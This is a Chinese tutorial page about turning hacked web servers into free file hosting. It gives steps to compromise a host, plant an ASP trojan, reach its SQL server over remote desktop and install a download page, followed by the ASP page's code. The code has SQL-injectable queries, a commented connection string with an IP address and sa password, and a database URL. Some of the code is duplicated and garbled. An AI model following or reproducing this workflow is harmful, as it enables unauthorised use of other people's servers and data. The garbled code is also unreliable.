手揣网教程:绿色安全纯净官方版,体验当今速度最快的浏览器!

把软件放在数据库里供下载

时间:2024/4/1作者:未知来源:手揣网教程人气:

[摘要]把软件放在数据库里供下载步骤: 1;捉鸡 2:放马. 3:数据库里加一个表:ACCESS的用.ASP的数据库工具直接加;SQL的3389进去用SQL的企业管理器 也可以在自己的机子里先做好一个;然后...

把软件放在数据库里供下载步骤:
1;捉鸡
2:放马.
3:数据库里加一个表:ACCESS的用.ASP的数据库工具直接加;SQL的3389进去用SQL的企业管理器
也可以在自己的机子里先做好一个;然后导入
4;无组件上传{和传图片入库的方法一样;网上介绍的方法多的是};导入的这步就省了
5:做个.ASP的下载页放鸡的站里一个.ASP里
6:自己站上放一个框架.....SRC=....?down=1
俩点问题:
一:每个上传的软件超过30M下载试时不稳定;下不来的时候多
二:SQL库里表中ID字段要特别设置自增
做的不好:见笑见笑;第一个测试的鸡里还让不知道哪位大侠把库里数据删了俩次:呵呵厉害
看来ASP木马里不加IP识别码是不行了
<%@codepage=936%><%Response.Buffer=True
Response.Expires=-1
Response.ExpiresAbsolute=Now()-1
Response.Expires=0
Response.CacheControl = "no-cache"
On Error Resume Next
Co=Request.ServerVariables("URL")
Session("lp")=Session.SessionID
dim conn,dbpath
set conn=server.createobject("ADODB.CONNECTION")
'conn.open "PROVIDER=SQLOLEDB;DATASOURCE=211.151.188.8;UID=sa;PWD=2004;DATABASE=ddwen"
dbpath=server.mappath("ddwen.asp")
conn.Open "Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&DBPath
'conn.open "driver={microsoft access driver (*.mdb)};dbq="&dbpath%><HTML><HEAD><meta http-equiv="Content-Type" content="text/html; charset=gb2312"><STYLE>BODY {
FONT-SIZE: 9pt; COLOR: blue
}
TABLE {
FONT-SIZE: 9pt; FONT-FAMILY: 宋体
}
A {
FONT-SIZE: 9pt; COLOR: blue; FONT-FAMILY: 宋体; TEXT-DECORATION: none
}
A:hover {
COLOR: red; FONT-FAMILY: 宋体
}
INPUT {
BORDER-RIGHT: blue 1px solid; BORDER-TOP: blue 1px solid; FONT-SIZE: 9pt; BACKGROUND: #FFF0B2; BORDER-LEFT: blue 1px solid; BORDER-BOTTOM: blue 1px solid; FONT-FAMILY: Verdana,Arial FONT-COLOR:blue
}
</STYLE><TITLE>蓝屏软件</TITLE>
<script language="javascript">
function popwin2(id,path)
{window.open("<%=Co%>?id="+id+"&ppath="+path,"","height=450,width=600,resizable=yes,scrollbars=yes,status=no,toolbar=no,menubar=yes,location=no");}
</script>
</HEAD><%
  const MaxPerPage=10
  dim totalPut,CurrentPage,TotalPages,i,j,keyword
  keyword=Replace(request("txtitle"),"'","")
  keyword=Replace(keyword,";","")
  if not isempty(request("page")) then
     currentPage=cint(request("page"))
  else
     currentPage=1
  end if
  dim sql,rs,rstype,typesql,typeid,typename
  if not isEmpty(request("typeid")) then
typeid=request("typeid")
  else
typeid=1
  end if
set rstype=server.createobject("adodb.recordset")
 typesql="select * from soft"
 rstype.open typesql,conn,1,1
typename=rstype("type")
 rstype.close%>
<table cellspacing=1 cellpadding=1 width=755 align=center border=0 bgcolor=#006666>
   <tbody>
   <tr height=20>    <TD colSpan=3 width="300"align=center>==><A title=美人 href="girl.asp">秀 <a/>  <A title=刷新 href="<%=Request.ServerVariables("URL")%>"> 本文件:
     <%=Request.ServerVariables("URL")%></A></TD>
<td align="center" width="20%" style="COLOR: #ffff00" bgColor=#2b77bd height=10>
     <SCRIPT language=JavaScript>        
today=new Date();
function initArray(){
  this.length=initArray.arguments.length
  for(var i=0;i<this.length;i++)
  this[i+1]=initArray.arguments  }
  var d=new initArray(
    "星期日",
    "星期一",
    "星期二",
    "星期三",
    "星期四",
    "星期五",
    "星期六");
document.write(
    "<font color=ffff00 style='font-size:10pt;font-family: 宋体'> ",
    today.getYear(),"年",
    today.getMonth()+1,"月",
    today.getDate(),"日   ",
    d[today.getDay()+1],
    "</font>" );
     </SCRIPT></td>    
   </tr>
   </tbody>
 </table>
<body>
<table border=1 cellpadding=0 cellspacing=0 width=755 bgcolor="#ddee00" align="center">
 <tr>
   <td width="100%" valign="top">
     <table border="0" cellpadding="3" cellspacing="0" width="100%">
       <tr>
         <td width="100%" valign="top">
             <%sql="select * from soft where sm like '%"&keyword&"%' order by id desc" '注意漏洞:.;
Set rs= Server.CreateObject("ADODB.Recordset")
rs.open sql,conn,1,1
 if rs.eof and rs.bof then
      response.write "<p align='center'>没有或没有找到任何程序</p>"
  else
totalPut=rs.recordcount
     totalPut=rs.recordcount
     if currentpage<1 then
         currentpage=1
     end if
     if (currentpage-1)*MaxPerPage>totalput then
  if (totalPut mod MaxPerPage)=0 then
    currentpage= totalPut \ MaxPerPage
  else
     currentpage= totalPut \ MaxPerPage + 1
  end if
     end if
      if currentPage=1 then
          showpage totalput,MaxPerPage,""&Co&""
           showContent
           showpage totalput,MaxPerPage,""&Co&""
      else
         if (currentPage-1)*MaxPerPage<totalPut then
           rs.move  (currentPage-1)*MaxPerPage
           dim bookmark
           bookmark=rs.bookmark
          showpage totalput,MaxPerPage,""&Co&""
           showContent
            showpage totalput,MaxPerPage,""&Co&""
       else
       currentPage=1
          showpage totalput,MaxPerPage,""&Co&""
          showContent
          showpage totalput,MaxPerPage,""&Co&""
     end if
  end if
  rs.close
  end if          
  set rs=nothing
  sub showContent
      dim i
  i=0%>
           <div align="center">
             <center>
               <table border="1" cellspacing="0" width="97%" cellpadding="0">
<tr bgcolor="#50aac5">
                   <td width="32" align="center" height="20"><b>ID</b></td>
                   <td width="110" align="center"><b>软件名{点击下载}</td>
                   <td width="40" align="center"><b>大小</b></td>
                  <td width="191" align="center"><b>软件简介</b></td>
                   <td width="128" align="center"><b>加入日期</b></td>
                   <td width="34" align="center"><b>点击</b></td>
</tr>
                 <%do while not rs.eof%>
                 <tr>
                   <td height="23" width="32" bgcolor="#FFF0B2">
                     <p align="center"><%=rs("id")%>
                   </td>
                   <td width="110" bgcolor="#FFF0B2">
                     <p align="center"><form><input name=id type=hidden value=<%=rs("id")%>><input name=dn type=submit value=<%=left(rs("name"),40)%> title=点击下载></td></form>
                   <td width="40" bgcolor="#FFF0B2">
                     <p align="center"><a href=# "javascript:popwin2(<%=rs("id")%>)" title=<%=rs("sm")%>><font color="#000000"><%=rs("size")%></font></a>
                   </td>
                   <td width="191" bgcolor="#FFF0B2">
                     <p align="center"><a href=# "javascript:popwin2(<%=rs("id")%>)" title=<%=rs("sm")%>><font color="#000000"><%=left(rs("sm"),30)%></font></a>
                   </td>
                   <td width="128" bgcolor="#FFF0B2">
                     <p align="center"><font color="red"><i><%=rs("date")%></i></font>
                   </td>
                   <td width="34" bgcolor="#FFF0B2">
                     <p align="center"><%=rs("hits")%>
                   </td>
                 </tr>
<%i=i+1
if i>=MaxPerPage then exit do
rs.movenext
loop%></table>
             </center>
           </div><%end sub
function showpage(totalnumber,maxperpage,filename)
 dim n
 if totalnumber mod maxperpage=0 then
    n= totalnumber \ maxperpage
 else
    n= totalnumber \ maxperpage+1
 end if
 response.write "<form method=Post action="&filename&"?typeid="&typeid&"&txtitle="&keyword&">"
 response.write "<p align='center'><font color='red'>"&typename&"</font> "
 if CurrentPage<2 then
   response.write "<font color='#000080'>首页 上一页</font> "
 else
   response.write "<a href="&filename&"?page=1&typeid="&typeid&"&txtitle="&keyword&">首页</a> "
   response.write "<a href="&filename&"?page="&CurrentPage-1&"&typeid="&typeid&"&txtitle="&keyword&">上一页</a> "
 end if
 if n-currentpage<1 then
   response.write "<font color='#000080'>下一页 尾页</font>"
 else
   response.write "<a href="&filename&"?page="&(CurrentPage+1)&"&typeid="&typeid&"&txtitle="&keyword&">"
   response.write "下一页</a> <a href="&filename&"?page="&n&"&typeid="&typeid&"&txtitle="&keyword&">尾页</a>"
 end if
  response.write "<font color='#000080'> 页次:</font><strong><font color=red>"&CurrentPage&"</font><font color='#000080'>/"&n&"</strong>页</font> "
   response.write "<font color='#000080'> 共<b>"&totalnumber&"</b>软件 <b>"&maxperpage&"</b>软件/页</font> "
  response.write " <font color='#000080'>转到:</font><input type='text' name='page' size=4 maxlength=10 class=smallInput type='text' name='txtitle' value="¤tpage&">"

  response.write " <input class=buttonface type='submit'  value=' Goto '  name='cndok'></span></p></form>"
end function%>
           <form name=searchtitle method=POST action=<%=Co%>>
             <p align=center>简介:
               <input class=smallInput type="text" name="txtitle" size="13">
               <input class=buttonface type="submit" value="查 询" name="title" style="font-size: 9pt">
             </p>
           </form>
         </td>
       </tr>
     </table>
   </td>
 </tr>
</table>
</body></html><center><!SCRIPT src="http://192.168.1.9/jishu/new.asp?view=yes"></SCRIPT><%down=Request("dn")
if down<>"" then
Set rs = Server.CreateObject("ADODB.Recordset")
sql="select * from soft where id ="& Request("id")
rs.open sql,conn,1,3
rs("hits")=rs("hits")+1
rs.update
Response.Clear
Response.AddHeader"Content-Disposition","attachment;filename="&rs("name")
Response.AddHeader"Content-Length",rs("size")
Response.CharSet="UTF-8"
Response.ContentType="application/octet-stream"
Response.BinaryWrite rs("lp")
Response.Flush
Response.end
rs.close
set rs=nothing
end if
set conn=nothing%>
Set rs = Server.CreateObject("ADODB.Recordset")
sql="select * from soft where id ="& Request("id")
rs.open sql,conn,1,3
rs("hits")=rs("hits")+1
rs.update
Response.Clear
Response.AddHeader"Content-Disposition","attachment;filename="&rs("name")
Response.AddHeader"Content-Length",rs("size")
Response.CharSet="UTF-8"
Response.ContentType="application/octet-stream"
'Response.ContentType = rs("Type")
'Response.BinaryWrite rs("rj").getChunk(7500000)  ''=========这是直接看图的方法
Response.BinaryWrite rs("lp")
Response.Flush
Response.end
rs.close
set rs=nothing
http://210.51.181.21/db/ddwen.mdb
网络的神奇作用吸引着越来越多的用户加入其中,正因如此,网络的承受能力也面临着越来越严峻的考验―从硬件上、软件上、所用标准上......,各项技术都需要适时应势,对应发展,这正是网络迅速走向进步的催化剂。



关键词:把软件放在数据库里供下载




Copyright © 2012-2018 手揣网教程(http://www.shouchuai.com) .All Rights Reserved 网站地图 友情链接

免责声明:本站资源均来自互联网收集 如有侵犯到您利益的地方请及时联系管理删除,敬请见谅!

QQ:1006262270   邮箱:kfyvi376850063@126.com   手机版